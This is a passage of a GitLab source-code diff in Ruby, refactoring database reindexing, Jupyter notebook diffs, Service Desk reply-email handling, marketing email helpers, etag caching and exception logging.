# by instantiating objects in different `gitlab_schema` in a
# FactoryBot `create`.
def self.in_factory_bot_create?
- Rails.env.test? && caller_locations.any? { |l| l.path.end_with?('lib/factory_bot/evaluation.rb') && l.label == 'create' }
+ Rails.env.test? && caller_locations.any? do |l|
+ l.path.end_with?('lib/factory_bot/evaluation.rb') && l.label == 'create' ||
+ l.path.end_with?('lib/factory_bot/strategy/create.rb') ||
+ l.path.end_with?('shoulda/matchers/active_record/validate_uniqueness_of_matcher.rb') && l.label == 'create_existing_record'
+ end
end
end
end
diff --git a/lib/gitlab/database/reindexing.rb b/lib/gitlab/database/reindexing.rb
index 7a22e324bdb..6ffe14249f0 100644
--- a/lib/gitlab/database/reindexing.rb
+++ b/lib/gitlab/database/reindexing.rb
@@ -15,6 +15,26 @@ module Gitlab
# on e.g. vacuum.
REMOVE_INDEX_RETRY_CONFIG = [[1.minute, 9.minutes]] * 30
+ def self.enabled?
+ Feature.enabled?(:database_reindexing, type: :ops, default_enabled: :yaml)
+ end
+
+ def self.invoke(database = nil)
+ Gitlab::Database::EachDatabase.each_database_connection do |connection, connection_name|
+ next if database && database.to_s != connection_name.to_s
+
+ Gitlab::Database::SharedModel.logger = Logger.new($stdout) if Gitlab::Utils.to_boolean(ENV['LOG_QUERIES_TO_CONSOLE'], default: false)
+
+ # Hack: Before we do actual reindexing work, create async indexes
+ Gitlab::Database::AsyncIndexes.create_pending_indexes! if Feature.enabled?(:database_async_index_creation, type: :ops)
+
+ automatic_reindexing
+ end
+ rescue StandardError => e
+ Gitlab::AppLogger.error(e)
+ raise
+ end
+
# Performs automatic reindexing for a limited number of indexes per call
# 1. Consume from the explicit reindexing queue
# 2. Apply bloat heuristic to find most bloated indexes and reindex those
diff --git a/lib/gitlab/database/reindexing/coordinator.rb b/lib/gitlab/database/reindexing/coordinator.rb
index 13298f67ca9..3e4a83aa2e7 100644
--- a/lib/gitlab/database/reindexing/coordinator.rb
+++ b/lib/gitlab/database/reindexing/coordinator.rb
@@ -53,6 +53,10 @@ module Gitlab
def lease_timeout
TIMEOUT_PER_ACTION
end
+
+ def lease_key
+ [super, index.connection_db_config.name].join('/')
+ end
end
end
end
diff --git a/lib/gitlab/database/schema_cache_with_renamed_table.rb b/lib/gitlab/database/schema_cache_with_renamed_table.rb
index 28123edd708..74900dc0d26 100644
--- a/lib/gitlab/database/schema_cache_with_renamed_table.rb
+++ b/lib/gitlab/database/schema_cache_with_renamed_table.rb
@@ -42,7 +42,7 @@ module Gitlab
def renamed_tables_cache
@renamed_tables ||= begin
Gitlab::Database::TABLES_TO_BE_RENAMED.select do |old_name, new_name|
- ActiveRecord::Base.connection.view_exists?(old_name)
+ connection.view_exists?(old_name)
end
end
end
diff --git a/lib/gitlab/database/schema_helpers.rb b/lib/gitlab/database/schema_helpers.rb
index 3d929c62933..9ddc5391689 100644
--- a/lib/gitlab/database/schema_helpers.rb
+++ b/lib/gitlab/database/schema_helpers.rb
@@ -25,6 +25,7 @@ module Gitlab
CREATE TRIGGER #{name}
#{fires} ON #{table_name}
FOR EACH ROW
+ #{yield if block_given?}
EXECUTE FUNCTION #{function_name}()
SQL
end
diff --git a/lib/gitlab/database/shared_model.rb b/lib/gitlab/database/shared_model.rb
index f31dbc01907..17d7886e8c8 100644
--- a/lib/gitlab/database/shared_model.rb
+++ b/lib/gitlab/database/shared_model.rb
@@ -39,6 +39,10 @@ module Gitlab
Thread.current[:overriding_connection] = connection
end
end
+
+ def connection_db_config
+ self.class.connection_db_config
+ end
end
end
end
diff --git a/lib/gitlab/database/type/json_pg_safe.rb b/lib/gitlab/database/type/json_pg_safe.rb
new file mode 100644
index 00000000000..bbc207bd0d9
--- /dev/null
+++ b/lib/gitlab/database/type/json_pg_safe.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module Type
+ # Extends Rails' ActiveRecord::Type::Json data type to remove JSON
+ # encooded nullbytes `\u0000` to prevent PostgreSQL errors like
+ # `PG::UntranslatableCharacter: ERROR: unsupported Unicode escape
+ # sequence`.
+ #
+ # Example:
+ #
+ # class SomeModel < ApplicationRecord
+ # # some_model.a_field is of type `jsonb`
+ # attribute :a_field, Gitlab::Database::Type::JsonPgSafe.new
+ # end
+ class JsonPgSafe < ActiveRecord::Type::Json
+ def serialize(value)
+ super&.gsub('\u0000', '')
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/diff/custom_diff.rb b/lib/gitlab/diff/custom_diff.rb
new file mode 100644
index 00000000000..3928ece9281
--- /dev/null
+++ b/lib/gitlab/diff/custom_diff.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+module Gitlab
+ module Diff
+ module CustomDiff
+ class << self
+ def preprocess_before_diff(path, old_blob, new_blob)
+ return unless path.ends_with? '.ipynb'
+
+ transformed_diff(old_blob&.data, new_blob&.data)&.tap do
+ transformed_for_diff(new_blob, old_blob)
+ Gitlab::AppLogger.info({ message: 'IPYNB_DIFF_GENERATED' })
+ end
+ rescue IpynbDiff::InvalidNotebookError => e
+ Gitlab::ErrorTracking.log_exception(e)
+ nil
+ end
+
+ def transformed_diff(before, after)
+ transformed_diff = IpynbDiff.diff(before, after,
+ diff_opts: { context: 5, include_diff_info: true },
+ transform_options: { cell_decorator: :percent },
+ raise_if_invalid_notebook: true)
+ strip_diff_frontmatter(transformed_diff)
+ end
+
+ def transformed_blob_language(blob)
+ 'md' if transformed_for_diff?(blob)
+ end
+
+ def transformed_blob_data(blob)
+ if transformed_for_diff?(blob)
+ IpynbDiff.transform(blob.data,
+ raise_errors: true,
+ options: { include_metadata: false, cell_decorator: :percent })
+ end
+ end
+
+ def strip_diff_frontmatter(diff_content)
+ diff_content.scan(/.*\n/)[2..]&.join('') if diff_content.present?
+ end
+
+ def blobs_with_transformed_diffs
+ @blobs_with_transformed_diffs ||= {}
+ end
+
+ def transformed_for_diff?(blob)
+ blobs_with_transformed_diffs[blob]
+ end
+
+ def transformed_for_diff(*blobs)
+ blobs.each do |b|
+ blobs_with_transformed_diffs[b] = true if b
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/diff/file.rb b/lib/gitlab/diff/file.rb
index 83f242ff902..d9860d9fb86 100644
--- a/lib/gitlab/diff/file.rb
+++ b/lib/gitlab/diff/file.rb
@@ -44,7 +44,11 @@ module Gitlab
new_blob_lazy
old_blob_lazy
- preprocess_before_diff(diff) if Feature.enabled?(:jupyter_clean_diffs, repository.project, default_enabled: true)
+ diff.diff = Gitlab::Diff::CustomDiff.preprocess_before_diff(diff.new_path, old_blob_lazy, new_blob_lazy) || diff.diff if use_custom_diff?
+ end
+
+ def use_custom_diff?
+ strong_memoize(:_custom_diff_enabled) { Feature.enabled?(:jupyter_clean_diffs, repository.project, default_enabled: true) }
end
def position(position_marker, position_type: :text)
@@ -450,33 +454,6 @@ module Gitlab
find_renderable_viewer_class(classes)
end
- def preprocess_before_diff(diff)
- return unless diff.new_path.ends_with? '.ipynb'
-
- from = old_blob_lazy&.data
- to = new_blob_lazy&.data
-
- transformed_diff = IpynbDiff.diff(from, to,
- diff_opts: { context: 5, include_diff_info: true },
- transform_options: { cell_decorator: :percent },
- raise_if_invalid_notebook: true)
- new_diff = strip_diff_frontmatter(transformed_diff)
-
- if new_diff
- diff.diff = new_diff
- new_blob_lazy.transformed_for_diff = true if new_blob_lazy
- old_blob_lazy.transformed_for_diff = true if old_blob_lazy
- end
-
- Gitlab::AppLogger.info({ message: new_diff ? 'IPYNB_DIFF_GENERATED' : 'IPYNB_DIFF_NIL' })
- rescue IpynbDiff::InvalidNotebookError => e
- Gitlab::ErrorTracking.log_exception(e)
- end
-
- def strip_diff_frontmatter(diff_content)
- diff_content.scan(/.*\n/)[2..-1]&.join('') if diff_content.present?
- end
-
def alternate_viewer_class
return unless viewer.instance_of?(DiffViewer::Renamed)
diff --git a/lib/gitlab/diff/file_collection/merge_request_diff_base.rb b/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
index 692186fc323..b459e3f6619 100644
--- a/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
+++ b/lib/gitlab/diff/file_collection/merge_request_diff_base.rb
@@ -13,7 +13,7 @@ module Gitlab
super(merge_request_diff,
project: merge_request_diff.project,
- diff_options: merged_diff_options(diff_options),
+ diff_options: diff_options,
diff_refs: merge_request_diff.diff_refs,
fallback_diff_refs: merge_request_diff.fallback_diff_refs)
end
@@ -68,13 +68,6 @@ module Gitlab
diff_stats_cache.read || super
end
end
-
- def merged_diff_options(diff_options)
- project = @merge_request_diff.project
- max_diff_options = ::Commit.max_diff_options(project: project).merge(project: project)
-
- diff_options.present? ? diff_options.merge(max_diff_options) : max_diff_options
- end
end
end
end
diff --git a/lib/gitlab/diff/highlight.rb b/lib/gitlab/diff/highlight.rb
index aedcfe3cb40..47f3324752d 100644
--- a/lib/gitlab/diff/highlight.rb
+++ b/lib/gitlab/diff/highlight.rb
@@ -153,13 +153,10 @@ module Gitlab
blob.load_all_data!
- return blob.present.highlight_transformed.lines if Feature.enabled?(:jupyter_clean_diffs, @project, default_enabled: true)
-
blob.present.highlight.lines
end
def blobs_too_large?
- return false unless Feature.enabled?(:limited_diff_highlighting, project, default_enabled: :yaml)
return true if Gitlab::Highlight.too_large?(diff_file.old_blob&.size)
Gitlab::Highlight.too_large?(diff_file.new_blob&.size)
diff --git a/lib/gitlab/diff/inline_diff.rb b/lib/gitlab/diff/inline_diff.rb
index f70618195d0..802da50cfc6 100644
--- a/lib/gitlab/diff/inline_diff.rb
+++ b/lib/gitlab/diff/inline_diff.rb
@@ -6,8 +6,8 @@ module Gitlab
attr_accessor :old_line, :new_line, :offset
def initialize(old_line, new_line, offset: 0)
- @old_line = old_line[offset..-1]
- @new_line = new_line[offset..-1]
+ @old_line = old_line[offset..]
+ @new_line = new_line[offset..]
@offset = offset
end
diff --git a/lib/gitlab/email/handler/create_issue_handler.rb b/lib/gitlab/email/handler/create_issue_handler.rb
index 4b490ae0d26..7b31dd9926b 100644
--- a/lib/gitlab/email/handler/create_issue_handler.rb
+++ b/lib/gitlab/email/handler/create_issue_handler.rb
@@ -60,7 +60,7 @@ module Gitlab
current_user: author,
params: {
title: mail.subject,
- description: message_including_reply
+ description: message_including_reply_or_only_quotes
},
spam_params: nil
).execute
diff --git a/lib/gitlab/email/handler/reply_processing.rb b/lib/gitlab/email/handler/reply_processing.rb
index a717509e24d..43cbc49b9d2 100644
--- a/lib/gitlab/email/handler/reply_processing.rb
+++ b/lib/gitlab/email/handler/reply_processing.rb
@@ -35,6 +35,10 @@ module Gitlab
@message_with_reply ||= process_message(trim_reply: false)
end
+ def message_including_reply_or_only_quotes
+ @message_including_reply_or_only_quotes ||= process_message(trim_reply: false, allow_only_quotes: true)
+ end
+
def message_with_appended_reply
@message_with_appended_reply ||= process_message(append_reply: true)
end
diff --git a/lib/gitlab/email/handler/service_desk_handler.rb b/lib/gitlab/email/handler/service_desk_handler.rb
index 8d73aa842be..71b1d4ed8f9 100644
--- a/lib/gitlab/email/handler/service_desk_handler.rb
+++ b/lib/gitlab/email/handler/service_desk_handler.rb
@@ -32,11 +32,11 @@ module Gitlab
def execute
raise ProjectNotFound if project.nil?
- create_issue!
+ create_issue_or_note
if from_address
add_email_participant
- send_thank_you_email
+ send_thank_you_email unless reply_email?
end
end
@@ -82,6 +82,14 @@ module Gitlab
project.present? && slug == project.full_path_slug
end
+ def create_issue_or_note
+ if reply_email?
+ create_note_from_reply_email
+ else
+ create_issue!
+ end
+ end
+
def create_issue!
@issue = ::Issues::CreateService.new(
project: project,
@@ -97,18 +105,42 @@ module Gitlab
raise InvalidIssueError unless @issue.persisted?
+ begin
+ ::Issue::Email.create!(issue: @issue, email_message_id: mail.message_id)
+ rescue StandardError => e
+ Gitlab::ErrorTracking.log_exception(e)
+ end
+
if service_desk_setting&.issue_template_missing?
- create_template_not_found_note(@issue)
+ create_template_not_found_note
+ end
+ end
+
+ def issue_from_reply_to
+ strong_memoize(:issue_from_reply_to) do
+ next unless mail.in_reply_to
+
+ Issue::Email.find_by_email_message_id(mail.in_reply_to)&.issue
end
end
+ def reply_email?
+ issue_from_reply_to.present?
+ end
+
+ def create_note_from_reply_email
+ @issue = issue_from_reply_to
+
+ create_note(message_including_reply)
+ end
+
def send_thank_you_email
Notify.service_desk_thank_you_email(@issue.id).deliver_later
Gitlab::Metrics::BackgroundTransaction.current&.add_event(:service_desk_thank_you_email)
end
def message_including_template
- description = process_message(trim_reply: false, allow_only_quotes: true)
+ description = message_including_reply_or_only_quotes
template_content = service_desk_setting&.issue_template_content
if template_content.present?
@@ -124,7 +156,7 @@ module Gitlab
end
end
- def create_template_not_found_note(issue)
+ def create_template_not_found_note
issue_template_key = service_desk_setting&.issue_template_key
warning_note = <<-MD.strip_heredoc
@@ -132,15 +164,15 @@ module Gitlab
Please check service desk settings and update the file to be used.
MD
- note_params = {
- noteable: issue,
- note: warning_note
- }
+ create_note(warning_note)
+ end
+ def create_note(note)
::Notes::CreateService.new(
project,
User.support_bot,
- note_params
+ noteable: @issue,
+ note: note
).execute
end
@@ -157,6 +189,8 @@ module Gitlab
end
def add_email_participant
+ return if reply_email? && !Feature.enabled?(:issue_email_participants, @issue.project)
+
@issue.issue_email_participants.create(email: from_address)
end
end
diff --git a/lib/gitlab/email/hook/smime_signature_interceptor.rb b/lib/gitlab/email/hook/smime_signature_interceptor.rb
index 0b092b3e41e..ed1bf3e12bf 100644
--- a/lib/gitlab/email/hook/smime_signature_interceptor.rb
+++ b/lib/gitlab/email/hook/smime_signature_interceptor.rb
@@ -45,7 +45,6 @@ module Gitlab
end
def overwrite_headers(message, signed_email)
- message.content_disposition = signed_email.content_disposition
message.content_transfer_encoding = signed_email.content_transfer_encoding
message.content_type = signed_email.content_type
end
diff --git a/lib/gitlab/email/message/in_product_marketing/admin_verify.rb b/lib/gitlab/email/message/in_product_marketing/admin_verify.rb
index 19d9cf99cdb..888f84cde23 100644
--- a/lib/gitlab/email/message/in_product_marketing/admin_verify.rb
+++ b/lib/gitlab/email/message/in_product_marketing/admin_verify.rb
@@ -38,7 +38,7 @@ module Gitlab
end
def invite_members?
- invite_members_for_task_experiment_enabled?
+ user.can?(:admin_group_member, group)
end
end
end
diff --git a/lib/gitlab/email/message/in_product_marketing/base.rb b/lib/gitlab/email/message/in_product_marketing/base.rb
index 7cd54390b9f..9b50d86de58 100644
--- a/lib/gitlab/email/message/in_product_marketing/base.rb
+++ b/lib/gitlab/email/message/in_product_marketing/base.rb
@@ -88,29 +88,6 @@ module Gitlab
end
end
- def address
- s_('InProductMarketing|%{strong_start}GitLab Inc.%{strong_end} 268 Bush Street, #350, San Francisco, CA 94104, USA').html_safe % strong_options
- end
-
- def footer_links
- links = [
- [s_('InProductMarketing|Blog'), 'https://about.gitlab.com/blog'],
- [s_('InProductMarketing|Twitter'), 'https://twitter.com/gitlab'],
- [s_('InProductMarketing|Facebook'), 'https://www.facebook.com/gitlab'],
- [s_('InProductMarketing|YouTube'), 'https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg']
- ]
- case format
- when :html
- links.map do |text, link|
- ActionController::Base.helpers.link_to(text, link)
- end
- else
- '| ' + links.map do |text, link|
- [text, link].join(' ')
- end.join("\n| ")
- end
- end
-
def logo_path
["mailers/in_product_marketing", "#{track}-#{series}.png"].join('/')
end
@@ -166,16 +143,6 @@ module Gitlab
link(s_('InProductMarketing|update your preferences'), preference_link)
end
- def invite_members_for_task_experiment_enabled?
- return unless user.can?(:admin_group_member, group)
-
- experiment(:invite_members_for_task, namespace: group) do |e|
- e.candidate { true }
- e.record!
- e.run
- end
- end
-
def validate_series!
raise ArgumentError, "Only #{total_series} series available for this track." unless @series.between?(0, total_series - 1)
end
diff --git a/lib/gitlab/email/message/in_product_marketing/create.rb b/lib/gitlab/email/message/in_product_marketing/create.rb
index 2c396775374..6b01c83b8e7 100644
--- a/lib/gitlab/email/message/in_product_marketing/create.rb
+++ b/lib/gitlab/email/message/in_product_marketing/create.rb
@@ -62,7 +62,7 @@ module Gitlab
end
def invite_members?
- invite_members_for_task_experiment_enabled?
+ user.can?(:admin_group_member, group)
end
private
diff --git a/lib/gitlab/email/message/in_product_marketing/helper.rb b/lib/gitlab/email/message/in_product_marketing/helper.rb
index bffa90ed4ec..329cace9e9d 100644
--- a/lib/gitlab/email/message/in_product_marketing/helper.rb
+++ b/lib/gitlab/email/message/in_product_marketing/helper.rb
@@ -8,6 +8,29 @@ module Gitlab
include ActionView::Context
include ActionView::Helpers::TagHelper
+ def footer_links
+ links = [
+ [s_('InProductMarketing|Blog'), 'https://about.gitlab.com/blog'],
+ [s_('InProductMarketing|Twitter'), 'https://twitter.com/gitlab'],
+ [s_('InProductMarketing|Facebook'), 'https://www.facebook.com/gitlab'],
+ [s_('InProductMarketing|YouTube'), 'https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg']
+ ]
+ case format
+ when :html
+ links.map do |text, link|
+ ActionController::Base.helpers.link_to(text, link)
+ end
+ else
+ '| ' + links.map do |text, link|
+ [text, link].join(' ')
+ end.join("\n| ")
+ end
+ end
+
+ def address
+ s_('InProductMarketing|%{strong_start}GitLab Inc.%{strong_end} 268 Bush Street, #350, San Francisco, CA 94104, USA').html_safe % strong_options
+ end
+
private
def list(array)
diff --git a/lib/gitlab/email/message/in_product_marketing/verify.rb b/lib/gitlab/email/message/in_product_marketing/verify.rb
index daf0c969f2b..d2a78b53e1f 100644
--- a/lib/gitlab/email/message/in_product_marketing/verify.rb
+++ b/lib/gitlab/email/message/in_product_marketing/verify.rb
@@ -66,7 +66,7 @@ module Gitlab
end
def invite_members?
- invite_members_for_task_experiment_enabled?
+ user.can?(:admin_group_member, group)
end
private
diff --git a/lib/gitlab/email/receiver.rb b/lib/gitlab/email/receiver.rb
index 526f1188065..5b2bbfbe66b 100644
--- a/lib/gitlab/email/receiver.rb
+++ b/lib/gitlab/email/receiver.rb
@@ -73,7 +73,7 @@ module Gitlab
def key_from_to_header
mail.to.find do |address|
- key = Gitlab::IncomingEmail.key_from_address(address)
+ key = email_class.key_from_address(address)
break key if key
end
end
@@ -100,7 +100,7 @@ module Gitlab
def find_key_from_references
ensure_references_array(mail.references).find do |mail_id|
- key = Gitlab::IncomingEmail.key_from_fallback_message_id(mail_id)
+ key = email_class.key_from_fallback_message_id(mail_id)
break key if key
end
end
@@ -119,21 +119,21 @@ module Gitlab
def find_key_from_delivered_to_header
delivered_to.find do |header|
- key = Gitlab::IncomingEmail.key_from_address(header.value)
+ key = email_class.key_from_address(header.value)
break key if key
end
end
def find_key_from_envelope_to_header
envelope_to.find do |header|
- key = Gitlab::IncomingEmail.key_from_address(header.value)
+ key = email_class.key_from_address(header.value)
break key if key
end
end
def find_key_from_x_envelope_to_header
x_envelope_to.find do |header|
- key = Gitlab::IncomingEmail.key_from_address(header.value)
+ key = email_class.key_from_address(header.value)
break key if key
end
end
@@ -158,6 +158,10 @@ module Gitlab
autoreply && autoreply == 'yes'
end
+
+ def email_class
+ Gitlab::IncomingEmail
+ end
end
end
end
diff --git a/lib/gitlab/email/service_desk_receiver.rb b/lib/gitlab/email/service_desk_receiver.rb
index 133c4ee4b45..6c6eb3b0a65 100644
--- a/lib/gitlab/email/service_desk_receiver.rb
+++ b/lib/gitlab/email/service_desk_receiver.rb
@@ -6,22 +6,13 @@ module Gitlab
private
def find_handler
- return unless service_desk_key
+ return unless mail_key
- Gitlab::Email::Handler::ServiceDeskHandler.new(mail, nil, service_desk_key: service_desk_key)
+ Gitlab::Email::Handler::ServiceDeskHandler.new(mail, nil, service_desk_key: mail_key)
end
- def service_desk_key
- strong_memoize(:service_desk_key) do
- find_service_desk_key
- end
- end
-
- def find_service_desk_key
- mail.to.find do |address|
- key = ::Gitlab::ServiceDeskEmail.key_from_address(address)
- break key if key
- end
+ def email_class
+ ::Gitlab::ServiceDeskEmail
end
end
end
diff --git a/lib/gitlab/emoji.rb b/lib/gitlab/emoji.rb
index 519b1d94bf5..3c5d223b106 100644
--- a/lib/gitlab/emoji.rb
+++ b/lib/gitlab/emoji.rb
@@ -6,7 +6,7 @@ module Gitlab
# When updating emoji assets increase the version below
# and update the version number in `app/assets/javascripts/emoji/index.js`
- EMOJI_VERSION = 1
+ EMOJI_VERSION = 2
# Return a Pathname to emoji's current versioned folder
#
diff --git a/lib/gitlab/empty_search_results.rb b/lib/gitlab/empty_search_results.rb
new file mode 100644
index 00000000000..71a78cb297b
--- /dev/null
+++ b/lib/gitlab/empty_search_results.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Gitlab
+ # This class has the same interface as SearchResults except
+ # it is empty and does not do any work.
+ #
+ # We use this when responding to abusive search requests.
+ class EmptySearchResults
+ def initialize(*)
+ end
+
+ def objects(*)
+ Kaminari.paginate_array([])
+ end
+
+ def formatted_count(*)
+ '0'
+ end
+
+ def highlight_map(*)
+ {}
+ end
+
+ def aggregations(*)
+ []
+ end
+ end
+end
diff --git a/lib/gitlab/error_tracking.rb b/lib/gitlab/error_tracking.rb
index 38ac5d9af74..6a637306225 100644
--- a/lib/gitlab/error_tracking.rb
+++ b/lib/gitlab/error_tracking.rb
@@ -140,12 +140,9 @@ module Gitlab
end
def inject_context_for_exception(event, ex)
- case ex
- when ActiveRecord::StatementInvalid
- event.extra[:sql] = PgQuery.normalize(ex.sql.to_s)
- else
- inject_context_for_exception(event, ex.cause) if ex.cause.present?
- end
+ sql = Gitlab::ExceptionLogFormatter.find_sql(ex)
+
+ event.extra[:sql] = sql if sql
end
end
end
diff --git a/lib/gitlab/etag_caching/router/graphql.rb b/lib/gitlab/etag_caching/router/graphql.rb
index 2b8639b9411..1f56670ee7f 100644
--- a/lib/gitlab/etag_caching/router/graphql.rb
+++ b/lib/gitlab/etag_caching/router/graphql.rb
@@ -17,6 +17,11 @@ module Gitlab
%r(\Apipelines/sha/\w{7,40}\z),
'ci_editor',
'pipeline_authoring'
+ ],
+ [
+ %r(\Aon_demand_scan/counts/),
+ 'on_demand_scans',
+ 'dynamic_application_security_testing'
]
].map(&method(:build_route)).freeze
diff --git a/lib/gitlab/etag_caching/store.rb b/lib/gitlab/etag_caching/store.rb
index d0d790a7c72..44c6984c09b 100644
--- a/lib/gitlab/etag_caching/store.rb
+++ b/lib/gitlab/etag_caching/store.rb
@@ -12,14 +12,18 @@ module Gitlab
Gitlab::Redis::SharedState.with { |redis| redis.get(redis_shared_state_key(key)) }
end
- def touch(key, only_if_missing: false)
- etag = generate_etag
+ def touch(*keys, only_if_missing: false)
+ etags = keys.map { generate_etag }
Gitlab::Redis::SharedState.with do |redis|
- redis.set(redis_shared_state_key(key), etag, ex: EXPIRY_TIME, nx: only_if_missing)
+ redis.pipelined do
+ keys.each_with_index do |key, i|
+ redis.set(redis_shared_state_key(key), etags[i], ex: EXPIRY_TIME, nx: only_if_missing)
+ end
+ end
end
- etag
+ keys.size > 1 ? etags : etags.first
end
private
diff --git a/lib/gitlab/exception_log_formatter.rb b/lib/gitlab/exception_log_formatter.rb
index 9898651c9e3..315574fed31 100644
--- a/lib/gitlab/exception_log_formatter.rb
+++ b/lib/gitlab/exception_log_formatter.rb
@@ -2,18 +2,41 @@
module Gitlab
module ExceptionLogFormatter
- def self.format!(exception, payload)
- return unless exception
+ class << self
+ def format!(exception, payload)
+ return unless exception
- # Elasticsearch/Fluentd don't handle nested structures well.
- # Use periods to flatten the fields.
- payload.merge!(
- 'exception.class' => exception.class.name,
- 'exception.message' => exception.message
- )
+ # Elasticsearch/Fluentd don't handle nested structures well.
+ # Use periods to flatten the fields.
+ payload.merge!(
+ 'exception.class' => exception.class.name,
+ 'exception.message' => exception.message
+ )
- if exception.backtrace
- payload['exception.backtrace'] = Rails.backtrace_cleaner.clean(exception.backtrace)
+ if exception.backtrace
+ payload['exception.backtrace'] = Rails.backtrace_cleaner.clean(exception.backtrace)
+ end
+
+ if sql = find_sql(exception)
+ payload['exception.sql'] = sql
+ end
+ end
+
+ def find_sql(exception)
+ if exception.is_a?(ActiveRecord::StatementInvalid)
+ # StatementInvalid may be caused by a statement timeout or a bad query
+ normalize_query(exception.sql.to_s)
+ elsif exception.cause.present?
+ find_sql(exception.cause)
+ end
+ end
+
+ private
+
+ def normalize_query(sql)
+ PgQuery.normalize(sql)
+ rescue PgQuery::ParseError
+ sql
end
end
end
diff --git a/lib/gitlab/experimentation.rb b/lib/gitlab/experimentation.rb
index c2009628c56..4cc653bec43 100644
--- a/lib/gitlab/experimentation.rb
+++ b/lib/gitlab/experimentation.rb
@@ -37,9 +37,6 @@ module Gitlab
remove_known_trial_form_fields_noneditable: {
tracking_category: 'Growth::Conversion::Experiment::RemoveKnownTrialFormFieldsNoneditable',
rollout_strategy: :user
- },
- invite_members_new_dropdown: {
- tracking_category: 'Growth::Expansion::Experiment::InviteMembersNewDropdown'
}
}.freeze
diff --git a/lib/gitlab/experimentation/controller_concern.rb b/lib/gitlab/experimentation/controller_concern.rb
index 7cc29cde45c..303d952381f 100644
--- a/lib/gitlab/experimentation/controller_concern.rb
+++ b/lib/gitlab/experimentation/controller_concern.rb
@@ -16,7 +16,7 @@ module Gitlab
included do
before_action :set_experimentation_subject_id_cookie, unless: :dnt_enabled?
- helper_method :experiment_enabled?, :experiment_tracking_category_and_group, :record_experiment_group, :tracking_label
+ helper_method :experiment_enabled?, :experiment_tracking_category_and_group, :record_experiment_group
end
def set_experimentation_subject_id_cookie
diff --git a/lib/gitlab/gfm/reference_rewriter.rb b/lib/gitlab/gfm/reference_rewriter.rb
index 4d82acd9d87..5d0a638f97a 100644
--- a/lib/gitlab/gfm/reference_rewriter.rb
+++ b/lib/gitlab/gfm/reference_rewriter.rb
@@ -57,7 +57,7 @@ module Gitlab
def unfold_reference(reference, match, target_parent)
before = @text[0...match.begin(0)]
- after = @text[match.end(0)..-1]
+ after = @text[match.end(0)..]
referable = find_referable(reference)
return reference unless referable
diff --git a/lib/gitlab/git/blob.rb b/lib/gitlab/git/blob.rb
index b0d194f309a..f72217dedde 100644
--- a/lib/gitlab/git/blob.rb
+++ b/lib/gitlab/git/blob.rb
@@ -24,7 +24,7 @@ module Gitlab
LFS_POINTER_MIN_SIZE = 120.bytes
LFS_POINTER_MAX_SIZE = 200.bytes
- attr_accessor :size, :mode, :id, :commit_id, :loaded_size, :binary, :transformed_for_diff
+ attr_accessor :size, :mode, :id, :commit_id, :loaded_size, :binary
attr_writer :name, :path, :data
def self.gitlab_blob_truncated_true
@@ -127,7 +127,6 @@ module Gitlab
# Retain the actual size before it is encoded
@loaded_size = @data.bytesize if @data
@loaded_all_data = @loaded_size == size
- @transformed_for_diff = false
record_metric_blob_size
record_metric_truncated(truncated?)
diff --git a/lib/gitlab/git/diff_collection.rb b/lib/gitlab/git/diff_collection.rb
index 631624c068c..24b67424f28 100644
--- a/lib/gitlab/git/diff_collection.rb
+++ b/lib/gitlab/git/diff_collection.rb
@@ -11,13 +11,13 @@ module Gitlab
delegate :max_files, :max_lines, :max_bytes, :safe_max_files, :safe_max_lines, :safe_max_bytes, to: :limits
- def self.default_limits(project: nil)
- { max_files: ::Commit.diff_safe_max_files(project: project), max_lines: ::Commit.diff_safe_max_lines(project: project) }
+ def self.default_limits
+ { max_files: ::Commit.diff_safe_max_files, max_lines: ::Commit.diff_safe_max_lines }
end
def self.limits(options = {})
limits = {}
- defaults = default_limits(project: options[:project])
+ defaults = default_limits
limits[:max_files] = options.fetch(:max_files, defaults[:max_files])
limits[:max_lines] = options.fetch(:max_lines, defaults[:max_lines])
limits[:max_bytes] = limits[:max_files] * 5.kilobytes # Average 5 KB per file
diff --git a/lib/gitlab/git/diff_stats_collection.rb b/lib/gitlab/git/diff_stats_collection.rb
index e30ec836a49..6a689f55478 100644
--- a/lib/gitlab/git/diff_stats_collection.rb
+++ b/lib/gitlab/git/diff_stats_collection.rb
@@ -22,8 +22,8 @@ module Gitlab
@collection.map(&:path)
end
- def real_size(project: nil)
- max_files = ::Commit.max_diff_options(project: project)[:max_files]
+ def real_size
+ max_files = ::Commit.diff_max_files
if paths.size > max_files
"#{max_files}+"
else
diff --git a/lib/gitlab/git/repository.rb b/lib/gitlab/git/repository.rb
index 5afdcc0bd4c..240a701aba9 100644
--- a/lib/gitlab/git/repository.rb
+++ b/lib/gitlab/git/repository.rb
@@ -160,6 +160,8 @@ module Gitlab
wrapped_gitaly_errors do
gitaly_repository_client.remove
end
+ rescue NoRepository
+ nil
end
def replicate(source_repository)
diff --git a/lib/gitlab/gitaly_client/commit_service.rb b/lib/gitlab/gitaly_client/commit_service.rb
index 7c688044e9c..c2b4182f609 100644
--- a/lib/gitlab/gitaly_client/commit_service.rb
+++ b/lib/gitlab/gitaly_client/commit_service.rb
@@ -204,19 +204,6 @@ module Gitlab
Gitlab::Git::Commit.new(@repository, gitaly_commit)
end
- def between(from, to)
- return list_commits(["^" + from, to], reverse: true) if Feature.enabled?(:between_commits_via_list_commits)
-
- request = Gitaly::CommitsBetweenRequest.new(
- repository: @gitaly_repo,
- from: from,
- to: to
- )
-
- response = GitalyClient.call(@repository.storage, :commit_service, :commits_between, request, timeout: GitalyClient.medium_timeout)
- consume_commits_response(response)
- end
-
def diff_stats(left_commit_sha, right_commit_sha)
request = Gitaly::DiffStatsRequest.new(
repository: @gitaly_repo,
diff --git a/lib/gitlab/github_import/client.rb b/lib/gitlab/github_import/client.rb
index efa816c5eb0..d2495b32800 100644
--- a/lib/gitlab/github_import/client.rb
+++ b/lib/gitlab/github_import/client.rb
@@ -21,6 +21,7 @@ module Gitlab
SEARCH_MAX_REQUESTS_PER_MINUTE = 30
DEFAULT_PER_PAGE = 100
LOWER_PER_PAGE = 50
